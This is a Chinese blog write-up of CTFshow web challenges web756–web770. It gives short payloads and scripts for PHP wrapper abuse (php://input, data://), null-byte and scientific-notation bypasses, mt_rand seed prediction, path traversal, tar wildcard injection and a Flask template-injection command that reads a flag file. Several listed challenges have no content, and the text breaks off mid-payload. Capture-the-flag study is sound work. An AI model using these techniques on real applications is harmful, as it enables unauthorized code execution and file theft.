您当前的位置: 首页 > 

yu22x

暂无认证

  • 2浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

CTFSHOW大赛原题篇(web756-web770)

yu22x 发布时间:2022-03-04 13:42:58 ,浏览量:2

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。

文章目录
    • web756
    • web757
    • web758
    • web759
    • web760
    • web761
    • web762
    • web763
    • web764
    • web765
    • web766
    • web767
    • web768
    • web769
    • web770

web756
code=GLOBALS
web757

每次传入的key前七个字符需要是上传返回的,并且substr(md5($value),5,4)==0) 因为不是每一次md5都有可能字母开头,所以我们需要多测试几次,直接在给的key后面不断加字符就可以了。

import requests
url="http://5a0b2552-05b1-4ca3-bf1f-9cf7ea54b0a5.challenge.ctf.show/"
key='ctfshow'
sess=requests.session()
for i in range(0,10):
    t=''
    while True:
        data={'code':key}
        r=sess.post(url,data=data)
        if(len(r.text)!=0):
            key=r.text
            #print(key)
            break
        else:
            t=t+'1'
            key=key+t
print(key)
web758

同web689

?file=a.php&url=http://127.0.0.1/?file=%26url=http://127.0.0.1/
web759

科学计数法绕过比较 00截断绕过判断字符串

value=9e13%00%23ctfshow%23
web760

data和php://input协议都可以过

GET:
^.^=php://input

POST:
(●'◡'●)

GET:
^.^=data://text/plain,(●'◡'●)
或者
^.^=data:,(●'◡'●)
web761

运行这个bash即可 * /t*相当于执行了tar cvf z ../t* 将打包的文件写入到了z文件中,而/t*中肯定会包含/tmp/phpxxxxxx,也就是上传的临时文件。 这样z中就包含test.php中的内容,最后在通过php来执行该文件 最后flag在数据库中。。。。用蚁剑连一下数据库就能拿到了。

web764

第一个需要绕过的地方

$login['cookie'] != @md5($_SESSION['flag'])

因为session从初始化开始就从来没有设置过flag值,所以相当于是空的,也就等价与md5('');(d41d8cd98f00b204e9800998ecf8427e) 所以$id[cookie]=d41d8cd98f00b204e9800998ecf8427e 后面就是一个伪随机数的问题了。 种子是固定的,所以后面生成的值也是固定的了。

$a=md5('');
echo $a;
echo "\n";
mt_srand(substr($a,17,7));
echo mt_rand();  //flag文件名 
echo "\n";
mt_srand(mt_rand());  //第二次种子生成
echo mt_rand();  //post key的内容
echo "\n";
echo mt_rand();    //$随机数的值为flag的文件名,也就是 $xxx=filename

?id[cookie]=d41d8cd98f00b204e9800998ecf8427e
key=954576979&1277894509=filename
web765

可以任意读文件,先读下源码/article?name=../app.py

import os 
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) 
from flask_session import Session 
from flag import ctfshowflag as FLAG 
from key import key 
app = Flask(__name__) 
#FLAG = flag 
app.secret_key = key 
@app.route("/page", methods=["GET", "POST"]) 
def n1page(): 
    if request.method != "POST": 
        return redirect(url_for("index")) 
    code = request.form.get("code") or None 
    if code is not None: 
        code = code.replace(".", "").replace("_", "").replace("{","").replace("}","") 
    if "code" not in session or session['code'] is None: 
        session['code'] = code 
        template = None 
    if session['code'] is not None: 
        template = '''
                    Page {config.__class__.__init__.__globals__[\"os\"].popen(\"cat flag.py\").read()}}"}'
            
关注
打赏
1617522777
查看更多评论
0.0395s